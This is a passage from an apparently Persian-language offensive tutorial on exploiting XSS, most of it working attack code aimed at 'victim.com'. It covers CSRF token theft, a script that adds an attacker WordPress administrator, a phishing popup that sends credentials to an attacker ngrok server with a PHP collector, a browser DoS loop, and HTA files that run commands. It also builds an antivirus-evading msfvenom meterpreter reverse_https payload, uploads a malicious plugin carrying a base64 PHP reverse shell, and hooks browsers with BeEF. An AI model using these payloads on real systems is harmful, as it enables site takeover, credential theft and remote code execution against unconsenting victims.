در Payload طراحی شده بالا که با نام Payload.js در سرور مهاجم قرار داده شده است، دو تابع با نام های ()getTokenJS و submitFormWithTokenJS(token) مشاهده میکنید. تابع getTokenJS با استفاده از XMLHttpRequest از طرف قربانی در خواست GET ای به صفحه ی form.php که فرم دارای توکن CSRF در آن قرار دارد ارسال میکند و پاسخ صفحه را به همراه توکن تصادفی موجود در آن دریافت میکند. این تابع همچنین با استفاده از تابع split و slice مقدار توکن را از پاسخ صفحه جداسازی میکند و آن را در متغیر csrf_token ذخیره میکند. سپس این متغیر به عنوان آرگومان ورودی به تابع submitFormWithTokenJS(csrf_token) فرستاده میشود. این تابع همانطور که از نامش پیداست بدون اطلاع قربانی (آسیب پذیری CSRF)، درخواست POST ای با توکن دزدیده شده و پیام دلخواه (پارامتر message) به صفحه form.php ارسال میکند.

با استفاده از JQuery
function submitFormWithTokenjQuery(token) {
    $.post("/form.php", {token: token, message: "CSRF Token has been stold!"}).done(function (data) {
        console.log(data);
    });
}

function getWithjQuery() {
    $.ajax({
        type: "GET", url: "/form.php", data: {}, async: true, dataType: "text", success: function (data) {
            var $data = $(data);
            var $input = $data.find("#token");
            if ($input.length > 0) {
                inputField = $input[0];
                token = inputField.value
                submitFormWithTokenjQuery(token);
            }
        }, error: function (xml, error) {
            console.log(error);
        }
    });
}

getWithjQuery();

کد بالا همانند Payload ای که پیش تر با استفاده از JavaScript گفته شد، اما با Syntax کتابخانه JQuery طراحی شده است.

اضافه کردن مهاجم به عنوان ادمین جدید در سایت

این تکنیک نیازمند وجود آسیب پذیری CSRF در وبسایت و بازدید ادمین وبسایت از محل آسیب پذیری XSS میباشد تا توسط ادمینی که دسترسی به تمام بخش های سایت دارد، بدون اطلاع خودش، مهاجم را به عنوان ادمین جدید در سایت اضافه کند.

فایلی با نام payload.js در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد مخرب زیر را در آن قرار دهید:

url = "http://victim.com/wp-admin/user-new.php";
var login = "attacker";
var pass = "4145";
var email = "[email protected]";

function GetNonce(url) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
    var all = xmlHttp.responseText;
    var nonce = all.split("name=\"_wpnonce_create-user\" value=\"");
    var nonce = nonce[1].slice(0, 10);
    return nonce;
}

var nonce = new GetNonce();
var http = new XMLHttpRequest();
var params = "action=createuser&_wpnonce_create-user=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" + login + "&email=" + email + "&first_name=&last_name=&url=&pass1=" + pass + "&pass1-text=" + pass + "&pass2=" + pass + "&pw_weak=on&role=administrator&createuser=Add+New+User";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(params);

در کد بالا تابع GetNonce وظیفه دریافت توکن تصادفی تولید شده (Nonce) در فرمی که ادمین جدیدی اضافه میکند را دارد. به این صورت که پس از درخواست GET به صفحه اضافه کردن ادمین جدید یعنی صفحه victim.com/wp-admin/user-new.php و دریافت پاسخ این صفحه با استفاده از XMLHttpRequest ، مقدار توکن Nonce به نام wpnonce_create-user_ با استفاده از تابع split از منبع صفحه جدا کرده و آن را به عنوان خروجی تابع برمیگردانیم.
در مرحله بعد با استفاده از XMLHttpRequest درخواست POST ای که ادمین جدید را اضافه میکند را تنظیم میکنیم. این درخواست دارای پارامتر های زیادی میباشد که در کد مشاهده میکنید. از پارامتر های ضروری آن نام کاربری، رمزعبور، ایمیل مشخص شده توسط مهاجم و توکن Nonce ادمین میباشد که همه این هارا در اختیار داریم. در آخر نیز درخواست جعلی اضافه کردن ادمین را ارسال میکنیم.

در نهایت باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:

curl 'victim.com/comment.php?name=<script src="http://<NG_ID>.ngrok.io/add_admin.js"></script>'

ایجاد صفحات جعلی (Popup Phishing)

در این تکنیک قصد داریم تا صفحه جعلی ای طراحی کنیم که صفحه لاگین یک وبسایت معتبر را نمایش میدهد، با این کار میتوانیم قربانی را فریب دهیم تا نام کاربری و رمزعبور خود را در فرم لاگین وارد کند و اطلاعات وارد شده را بدون اطلاع او به سرور مهاجم ارسال کنیم.

برای این کار فایلی با نام phishing.js در سروری که راه اندازی کرده اید بسازید و کد HTML زیر که فرم لاگین طراحی شده را نشان میدهد در آن قرار دهید:

var mystyle=document.createElement("link");
mystyle.href="https://www.w3schools.com/w3css/4/w3.css"

document.head.appendChild(mystyle);
var modal=document.createElement("div");modal.classList.add("w3-modal");

modal.innerHTML='<div class="w3-modal-content w3-round-large" id="modal">'+
    '<div class="w3-container w3-center">'+
    '<form action="http://<NG_ID>.ngrok.io/phishing.php" method="POST" class="w3-center">'+
    '<h2 style="color:red">'account Security' Please Login again</h2>'+
    '<input type="text" placeholder="Username" name="uname"/>'+
    '<input type="password" placeholder="Password" name="psd"/>'+
    '<input type="submit" value="Login"/>'+
    '</form>';

توجه داشته باشید که مقدار ویژگی action فرم لاگین بالا برابر آدرس فایل phishing.php در سرور مهاجم قرار گرفته است.
خب حالا در سرور مهاجم فایل phishing.php را بسازید و کد های زیر را درون آن قرار دهید:

<?php
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS, POST');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
$file="credentials.txt"
if(isset($_POST['uname']) && isset($_POST['psd']){
    file_put_contents($file, "username: ".$_POST['uname']."\npassword: ".$_POST['psd'], FILE_APPEND);
    printf("LOGGED!");
}
?>

کد PHP بالا پس از تعریف چندین هدر، پارامتر های POST ارسال شده از سمت قربانی با نام های uname و psd را دریافت کرده و با استفاده از file_put_contents در فایل credentials.txt مینویسد.

در آخر نیز باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کنیم:

curl 'victim.com/comment.php?name="/><script src="http://<NG_ID>.ngrok.io/phishing.js"></script>'

پیاده سازی حمله DoS

در این روش با استفاده از توابع JavaScript که قابلیت تکرار کد به اندازه ی زمانی مشخص شده را دارند مانند setInterval، درخواستی پردازش صفحه ای را بار ها و بارها ارسال میکنیم. برای پیاده سازی این تکنیک فایلی با نام payload.js در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد زیر را در آن قرار دهید:

function dos() {
    var pic = new Image();
    pic.src = 'http://victim.com/';
    pic.style.display = 'none';
    document.body.appendChild(pic);
}

setInterval(dos, 10);

در تابع dos آبجکت عکسی تعریف شده و ویژگی src آن برابر آدرس سایت قربانی قرار گرفته است. همچنین با استفاده از کد 'pic.style.display = 'noneقابلیت نمایش آبجکت عکس در صفحه را غیرفعال میکنیم و در نهایت آن را با استفاده از appendChild به صفحه اضافه میکنیم. در بخش بعد با استفاده از تابع setInterval هر 10 میلی ثانیه یک بار تابع dos که در بالا تعریف کرده ایم را اجرا میکنیم. این کار باعث میشود که در مدت زمان بسیار کوتاه تعداد زیادی درخواست به سمت سایت آسیب پذیر ارسال شود و حمله DOS رخ دهد.

استفاده از فایل فرمت HTA

فایل فرمت HTA که مخفف HTML Application میباشد یک برنامه از Microsoft Windows میباشد که ساختار کد منبع آن از HTML و یک یا چند زبان برنامه نویسی اسکریپتی که توسط مرورگر های IE پشتیبانی میشوند مثل VBScript یا JavaScript تشکیل شده است. از HTML برای طراحی ظاهر صفحه و رابط کاربری و از زبان برنامه نویسی اسکریپتی برای طراحی منطق برنامه استفاده میشود. این فایل فرمت که پسوند آن hta. میباشد بدون اعمال محدودیت های امنیتی مرورگر و به عنوان برنامه ی کاملا قابل اطمینان اجرا میشود. برای تعریف این فایل، تگی با نام hta:application در قسمت head عناصر HTML معرفی شده است. این تگ شامل ویژگی هایی ست که امکان کنترل ظاهر برنامه مانند استایل border را فراهم میکند. بقیه فایل HTA همانند HTML میباشد. در نتیجه از HTA برای اجرای حمله XSS میتوان استفاده کرد زیرا این فایل فرمت امکان ارتباط با Component Object های ویندوز و اجرای دستور را دارد.

برای پیاده سازی این تکنیک، فایلی با نام payload.hta در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد زیر را در آن قرار دهید:

پیاده سازی با استفاده از زبان اسکریپت نویسی JavaScript
<html>
<head>
    <HTA:APPLICATION ID="example">
</head>
<script language="jscript">
    var cmd = "cmd.exe /c calc.exe";
    new ActiveXObject('WScript.Shell').Run(cmd);
</script>
<body>
<script>self.close();</script>
</body>
</html>

در کد بالا در تگ script متغیری با نام cmd وجود دارد که حاوی دستور شل میباشد. این دستور با استفاده از cmd.exe در ویندوز، برنامه ماشین حساب یعنی calc.exe را اجرا میکند. در خط بعد آبجکتی با نام activexobject ساخته شده. از این آبجکت برای ساخت نمونه از آبجکت های OLE Automation در مرورگر IE در سیستم عامل ویندوز استفاده میشود. در برنامه های ویندوزی از OLE Automation برای ایجاد ارتباط بین Component Object های ویندوز به وسیله زبان های برنامه نویسی اسکریپتی، استفاده میشود. آرگومان ورودی آبجکت activexobject نام برنامه ایست که میخواهیم با آن ارتباط بگیریم. در کد بالا از WScript.Shell استفاده شده که با شل ویندوز ارتباط میگیرد و امکان اجرای دستور در شل ویندوز را برای ما فراهم میکند. در آخر نیز به وسیله تابع Run دستور تعریف شده در متغیر cmd را با استفاده از این آبجکت اجرا میکنیم.

پیاده سازی با استفاده از زبان اسکریپت نویسی VBScript
<html>
<head>
    <HTA:APPLICATION ID="example">
</head>
<script language="VBScript">
    Function var_func()
    Dim var_shell
    Set var_shell = CreateObject("Wscript.Shell")
    var_shell.run "cmd.exe -nop -w hidden -encodedcommand uyhkhg", 0, true
    End Function
    var_func
    self.close
</script>
<body>
</body>
</html>

در تابع var_func کد Dim var_shell حافظه ای را به متغیر var_shell اختصاص میدهد. در خط بعد با استفاده از CreateObject آبجکتی از Wscript.Shell برای ارتباط با شل ویندوز میسازیم و در ادامه با استفاده از تابع run دستوری که میخواهیم در شل اجرا کنیم را مشخص میکنیم. این دستور پاور شل برروی سیستم قربانی دسترسی ایجاد میکند و سپس تابع var_func که ساختیم را فراخوانی میکنیم. اما توجه داشته باشید که شلکد هایی که پیش تر با استفاده از زبان های VBScript و JavaScript با شل ویندوز ارتباط میگرفتند در اکثر مواقع توسط دیوایس های دفاعی مانند آنتی ویروس و روش هایی مانند Set Patterning و Heuristic و Signature Based شناسایی میشوند و این مانع اجرای موفقیت آمیز حمله خواهد شد، در نتیجه باید روش های ارتباط و استفاده از COM Object ها را پیچیده تر و Payload های را مبهم تر سازیم.

در مرحله اول ابتدا باید Shellcode بر بستر فایل فرمت HTA برای خط فرمان ویندوز (PowerShell) طراحی بشود، برای این کار از Msfvenom استفاده میکنیم:

msfvenom -p windows/meterpreter/reverse_https LHOST=(NoIP) -i 43 -f hta-psh > chars.raw && cat chars.raw | awk {'print $7'} | awk -F "," '{print $1}'| sed 's/.$//'

دستور بالا از نوع ارتباط reverse_https برای طراحی Payload استفاده میکند. مقدار LHOST برابر سرور NoIP مهاجم قرار گرفته. NoIP یک سرویس آنلاین و رایگان است که نقطه دسترسی واسطی ایجاد میکند و دامنه ای در اختیار ما قرار میدهد که بتوانیم با IP خودمان به آن متصل شویم. مقدار سوییچ i- که بیانگر تعداد دفعات Encode کردن Payload است 43 میباشد. با استفاده از سوییچ f- فایل فرمت خروجی را hta-psh قرار میدهیم، در آخر نتیجه را در فایلی به نام chars.raw ذخیره میکنیم. با استفاده از دستور های sed و awk و رجکس های تایین شده، قسمت مورد نظر از فایل که Payload در آن قرار دارد استخراج میکنیم.

طراحی کد مخرب مبهم سازی شده برای فایل فرمت HTA با استفاده از Msfvenom
طراحی کد مخرب مبهم سازی شده برای فایل فرمت HTA با استفاده از Msfvenom
نتیجه این دستور Payload ای میباشد که به Base64 انکود شده است

در مرحله دوم همانطور که پیش تر گفته شد باید با استفاده از JavaScript برای COM Object مورد نظر یعنی Wscript.shell یک Initializer بسازیم، با این کار امکان اجرای Payload های PowerShell فراهم میشود.

<script%00>
tlFJlFXYDiqNA=ActiveXObject;
TEMckdIenEzUwcPNswgjZJFnExHNsvJVpvOmCU="WScript"
VTesUrGRSQDRaxjEvnxQXMEwbCcdeshCOkAbWp=TEMckdIenEzUwcPNswgjZJFnExHNsvJVpvOmCU + ".Shell"
AlwFTetCVUdttEsnYoGKilwFGpHleULASeumtV=new tlFJlFXYDiqNA(VTesUrGRSQDRaxjEvnxQXMEwbCcdeshCOkAbWp);
var0='aQBmACgAWw';var1=var0+'BJAG4AdABQ';var2=var1+'AHQAcgBdAD';..................;var685=var684+'A7AA==';
AlwFTetCVUdttEsnYoGKilwFGpHleULASeumtV.run('%windir%\\System32\\cmd.exe /c'+ 'powershell.exe -nop -w hidden -e ' + var685 , 0);window.close();
</script%00>

همانطور که میبینید کد بالا برای مبهم سازی به گونه ای متفاوت طراحی شده، به این صورت که اسم متغیرها نامفهوم و به صورت رشته ی تصادفی قرار داده شده اند همچنین شلکدی که در بالا از Msfvenom تولید کردیم به صورت تکه تکه درون 600 متغیر ذخیره کردیم، این کار باعث میشود تا Payload در اولین مرحله بررسی شدن توسط مکانیزم ها به دلیل تکه تکه بودن شناسایی نشود، در مرحله دوم همه آن 600 متغیر را درون یک متغیر جمع آوری کرده ایم، این مرحله دوم زمانی اتفاق می افتد که کد بر روی Memory، لیست یا MAP شده است, یعنی یک مرحله از مکانیزم هایی که به صورت Heuristic عملیات های شناسایی و Detect را انجام میدهند دور زده خواهد شد.

در کد بالا ابتدا آبجکت activexobject ساخته شده و آرگومان ورودی این آبجکت با کمک متغیرها Wscript.Shell قرار گرفته است. در قسمتی که ………… گذاشته شده، 600 متغیر تعریف میشود که هر متغیر حاوی 10 کارکتر شلکد Base64 شده میباشد، در نهایت تمام 600 متغیر باهم جمع شده و در متغیری به نام var685 ذخیره میشوند. در تابع run، با استفاده از سوییچ e- این متغیر به PowerShell شناسانده میشود.

آنتی ویروس های دور زده شده به وسیله فایل فرمت HTA
آنتی ویروس های دور زده شده به وسیله فایل فرمت HTA

همونطور که میبینید ۳ تا از آنتی ویروس ها Payload را به اشتباه به عنوان Downloader تشخیص داده اند. اگر Payload تولید شده در Msfvenom را Base64 Decode کنید متوجه میشوید که در Payload از IEX استفاده شده است. آنتی ویروس ها به IEX که یک تابع برای دانلود String در PowerShell هست، حساس هستند. خب اگر Payload رو Decode کنید و مقدار IEX رو هم مبهم کنید و بعد دوباره به Base64 تبدیل کنید همین ۳ آنتی ویروس هم دور زده میشوند.

در آخر نیز باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:

curl '<WEBSITE>/comment.php?name=<iframe id="frame" src="http://<NGROK_ID>.ngrok.io/payload.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'

کد بالا تگ iframe ای را تزریق میکند و ویژگی src این تگ را برابر آدرس فایل payload.hta در سرور مهاجم قرار میدهد و به این صورت فایل hta لود و اجرا میشود.

اضافه کردن پلاگین آسیب پذیر در سایت WordPress

این تکنیک نیز همانند تکنیک اضافه کردن ادمین، نیازمند وجود آسیب پذیری CSRF در وبسایت و بازدید ادمین وبسایت از محل آسیب پذیری XSS میباشد تا توسط ادمینی که دسترسی به تمام بخش های سایت دارد، بدون اطلاع خودش، پلاگین مخرب در سایت نصب و اضافه شود. در این تکنیک ما از ابزاری به نام Wordpwn استفاده میکنیم. این ابزار متن باز، یک تولید کننده پلاگین های مخرب WordPress است که به زبان پایتون نوشته شده و از Metasploit Framework برای تولید Payload استفاده میکند. این ابزار به طور خودکار پروسه ایجاد پلاگین مخرب وردپرسی را انجام میدهد و به محض آپلود در سایت هدف با استفاده از msfvenom php/meterpreter/reverse_tcp دسترسی Reverse Shell به ما میدهد، همچنین یک Handler محلی (Listener) با استفاده از msfconsole exploit/multi/handler میسازد.

ابزار wordpwn
ابزار wordpwn
اجرای دستور python wordpwn.py 192.168.5.4 8080 Y برای ساخت پلاگین مخرب وردپرسی با نام malicious.zip

این ابزار بعد از اجرا یک فایل zip با نام malicious.zip در دایرکتوری جاری میسازد که این فایل همان پلاگین مخرب ساخته شده وردپرسی است. اگر آپشن Y را تنظیم کرده باشید handler هم start میشود. بعد از آپلود فایل malicious.zip، اگر پلاگین با موفقیت نصب و فعال شود، برای اینکه دسترسی Reverse Shell برقرار شود باید به URL های زیر درخواست بزنیم:

http://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php
http://vctim.com/wp-content/plugins/malicious/QwertyRocks.php

خب برای خودکار سازی تمام مراحلی که گفته شد با استفاده از آسیب پذیری XSS باید اسکریپتی با نام add_plugin.js در سروری که Ngrok در آن راه اندازی کرده ایم بسازیم و کد مخرب زیر را در آن قرار دهیم:

while(1>0){
    upload=false;
    if(upload != true){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/victim.com\/wp-admin\/update.php?action=upload-plugin", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------23618398915373727791935559256");
        xhr.withCredentials = true;
        var body = "-----------------------------23618398915373727791935559256\r\n" +
            "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" +
            "\r\n" +
            "b354e97ffa\r\n" +
            "-----------------------------23618398915373727791935559256\r\n" +
            "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" +
            "\r\n" +
            "victim.com/wp-admin/plugin-install.php\r\n" +
            "-----------------------------23618398915373727791935559256\r\n" +
            "Content-Disposition: form-data; name=\"pluginzip\"; filename=\"malicous.zip\"\r\n" +
            "Content-Type: application/zip\r\n" +
            "\r\n" +
            "PK\x03\x04\x14\x00\x00\x00\x00\x00\xaa\xbaAO\xc0\xbd0\xd3\xe8\x05\x00\x00\xe8\x05\x00\x00\x11\x00\x00\x00wetw0rk_maybe.php\x3c?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEyNy4wLjAuMSc7ICRwb3J0ID0gNDU0NTsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygiTmxl.biIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7)); ?\x3ePK\x03\x04\x14\x00\x00\x00\x00\x00\x99\xbaAO\x12\xc6\xdf|\x85\x00\x00\x00\x85\x00\x00\x00\x0f\x00\x00\x00QwertyRocks.php\x3c?php\n" +
            "/**\n" +
            " * Plugin Name: GotEm\n" +
            " * Version: 6.6.8\n" +
            " * Author: PwnedSauce\n" +
            " * Author URI: http://PwnedSauce.com\n" +
            " * License: GPL2\n" +
            " */\n" +
            "?\x3e\n" +
            "PK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\xaa\xbaAO\xc0\xbd0\xd3\xe8\x05\x00\x00\xe8\x05\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00wetw0rk_maybe.phpPK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\x99\xbaAO\x12\xc6\xdf|\x85\x00\x00\x00\x85\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x17\x06\x00\x00QwertyRocks.phpPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00|\x00\x00\x00\xc9\x06\x00\x00\x00\x00\r\n" +
            "-----------------------------23618398915373727791935559256\r\n" +

            "Content-Disposition: form-data; name=\"install-plugin-submit\"\r\n" +
            "\r\n" +
            "Install Now\r\n" +
            "-----------------------------23618398915373727791935559256--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
            aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
        if(xhr.status==200){
            upload = true;
        }
    }
// active plugin
    active_plugin=false;
    if(active_plugin != true){
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", "http://victim.com/wp-admin/plugins.php", false);
        xmlHttp.send(null);
        var pl_page = xmlHttp.responseText;
        var dv = document.createElement("div")
        dv.style.display="none"
        dv.innerHTML=pl_page;
        document.body.appendChild(dv);
        var payload = document.querySelector('[aria-label="Activate GotEm"]');
        active_url = payload.href;
        dv.remove()
        var xhr = new XMLHttpRequest();
        xhr.open("GET",active_url,false);
        xhr.send(null);
        if(xhr.status == 200){
            active_plugin = true;
        }
    }
// active backdoor
    active_backdoor=false;
    if(active_backdoor != true){
        var xhr = new XMLHttpRequest();
        xhr.open("GET","https://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php",false);
        xhr.send(null);
        if(xhr.status == 200){
            active_backdoor = true;
        }
    }
    if(upload == true && active_backdoor == true && active_plugin == true){
        break;
    }
}

در بخش اول کد بالا که توسط BurpSuite تولید شده با استفاده از XMLHttpRequest درخواستی به آدرس http://victim.com/wp-admin/update.php?action=upload-plugin برای آپلود پلاگین مخرب malicous.zip طراحی میشود. برای مشاهده کد طراحی شده توسط BurpSuite، در قسمت Intercept درخواست آپلود پلاگین را در BurpSuite، بگیرید و بعد از کلیک راست روی آن، گزینه Engagement tools را انتخاب کنید و از منوی باز شده روی گزینه Generate CSRF PoC کلیک کنید. این گزینه همانطور که از نامش مشخص است برای درخواست انتخاب شده با بهره گیری از آسیب پذیری CSRF کد مخربی طراحی میکند.

توجه داشته باشید که نام پلاگین مخرب، در این مثال GotEm میباشد.

نحوه دسترسی به بخش Generate CSRF Poc در BurpSuite
نحوه دسترسی به بخش Generate CSRF Poc در BurpSuite
بخش CSRF PoC Generator در BurpSuite
بخش CSRF PoC Generator در Burp Suite
در این بخش کد طراحی شده برای بهره‌برداری از آسیب پذیری CSRF را مشاهده میکنید

در بخش دوم کد یعنی بخش active plugin ، با استفاده از XMLHttpRequest درخواستی به آدرس http://victim.com/wp-admin/plugins.php که پلاگین های وردپرس در آنجا قرار دارند ارسال میشود و پاسخ صفحه در متغیر pl_page ذخیره میشود. سپس تگ div نامرئی ای ساخته میشود و محتوای innerHTML آن برابر پاسخ صفحه قرار میگیرد. بعد از آن تگ div ساخته شده به صفحه اضافه میشود. این کار برای این است که بتوانیم از کد های HTML پاسخ صفحه به دنبال URL ای که باعث فعالسازی پلاگین میشود بگردیم. همانطور که میبینید با استفاده از querySelector عنصری که حاوی متن "aria-label="Activate GotEm بود را گرفته ایم و ویژگی href آن را در متغیر active_url ذخیره کرده ایم. در آخر نیز درخواستی به URL ذخیره شده در active_url ارسال میکنیم و پلاگین مخرب را فعال میکنیم.

در بخش سوم کد یعنی بخش active backdoor، برای فعالسازی و ایجاد دسترسی Reverse Shell توسط Metasploit درخواستی به آدرس https://victim.com/wp-content/plugins/malicious/wetw0rk_maybe.php ارسال میکنیم. همانطور که میبینید این سه بخش درون حلقه While که همیشه true است گذاشته شده و اجرای این حلقه تا زمانی که مقادیر متغیرهای upload ، active_backdoor و active_plugin هر سه true نشده اند ادامه پیدا میکند.

در آخر باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:

curl 'victim.com/comment.php?name=<script src="http://<NG_ID>.ngrok.io/add_plugin.js"></script>'

استفاده از ابزار BeEF

BeEF چیست؟

BeEF که مخفف Browser Exploitation Framework است، یک ابزار برای اکسپلویت حملات سمت کاربر مخصوصا مرورگر است که میتواند یک یا چندین مرورگر را گرفتار کند و از آنها برای اجرای دستورات مستقیم و حملات علیه سیستم قربانی استفاده کند. قبل از شروع مطمعن بشید که سرویس BeEF بدون مشکل start شده و شما میتونید از طریق آدرس http://127.0.0.1:3000/ui/panel در مرورگر و وارد کردن نام کاربری و رمز عبور beef ، به پنل کنترلی BeEF دسترسی داشته باشید.

صفحه ورود ابزار BeEF
صفحه ورود ابزار BeEF
پنل کنترلی ابزار BeEF
پنل کنترلی ابزار BeEF

همانطور که میبینید در سمت چپ بخشی به نام Hooked Browsers وجود دارد که لیست مرورگر های تحت کنترل و اطلاعات بدست آمده از آنها در این قسمت نمایش داده میشوند. خب حالا برای اینکه مرورگر کاربری رو با استفاده از BeEF گرفتار کنیم، از کد مخرب پیشنهاد شده خود BeEF استفاده میکنیم. این کد در قسمت Command Line این ابزار قرار دارد:

محیط کامند لاین ابزار BeEF
محیط کامند لاین ابزار BeEF
<script src="http://<IP>:3000/hook.js"></script>

قسمت <IP> باید با آدرس IP سیستم مهاجم که از طریق دستور ifconfig قابل دسترس هست، جایگزین شود (برای اینکه بیرون از شبکه محلی بتوان به BeEF دسترسی داشت باید پورت هایی را باز کرد و آن هارا به قربانی انتقال داد یعنی عمل Port Forwarding). BeEF با استفاده از فایل hook.js که یک فایل JavaScript ای است یک ارتباط C&C بین سیستم مهاجم و قربانی برقرار میکند تا بعد از اینکه مرورگر توسط BeEF، گرفتار (hook) شد، بتوان Payload های بیشتری تزریق کرد و دستورات زیادی را به اجرا در آورد. خب اگر Payload بالا را در صفحه آسیب پذیر به XSS وارد کنیم و قربانی از آن صفحه بازدید کند، مرورگر او تحت کنترل مهاجم در می آید.

بخش Details در ابزار BeEF
بخش Details در ابزار BeEF

همانطور که در تصویر بالا میبینید با انتخاب مرورگر صفحه ای به نام Current Browser باز شده که شامل چندین بخش مانند Details ، Commands و Logs میباشد. در بخش Details اطلاعات بدست آمده از صفحه آسیب پذیر مانند Cookie، اطلاعات بدست آمده از سیستم قربانی مانند سیستم عامل یا اطلاعات بدست آمده از مرورگر قربانی مانند پلاگین های نصب شده و غیره … را مشاهده میکنید. در بخش Logs، لیست کاملی از فعالیت های انجام شده توسط قربانی مانند حرکات ماوس، دابل کلیک و غیره … ضبط و ذخیره میشود.

بخش Logs در ابزار BeEF
بخش Logs در ابزار BeEF

در بخش Commands به لیستی از ماژول ها و دستوراتی که میتوانند روی سیستم هدف اجرا شوند از جمله ضبط کننده کلید کیبورد، نرم افزار های جاسوسی که میتوانند از وب کم ، میکروفون مرورگر هدف استفاده کنند و غیره … میتوان اشاره کرد.

بخش Commands در ابزار BeEF
بخش Commands در ابزار BeEF

ابزار BeEF با کمک Metasploit و استفاده از ماژول های آن مانند browser_autopwn میتواند اکسپلویت های متفاوت و پیچیده ای برروی سیستم قربانی پیاده سازی کند.

ماژول browser_autopwn در بخش Commands ابزار BeEF
ماژول browser_autopwn در بخش Commands ابزار BeEF

اما BeEF به طور پیش فرض با Metasploit Framework ادغام نشده است، برای این کار باید در تنظیمات فایل کانفیگ موجود در مسیر usr/share/beef-xss/config.yaml/ را تغییراتی به صورت زیر ایجاد کرد:

metasploit: 
enable:true

یک فایل کانفیگ دیگر در مسیر usr/share/beef-xss/extensions/metasploit/config.yaml/ وجود دارد که آن هم باید به صورت زیر تغییر کند:

beef:
extension:
metasploit:
name: 'Metasploit'
enable: true
host: $LAN
callback_host : $LAN

منظور از LAN$ آدرس IP لوکال سیستم مهاجم میباشد.

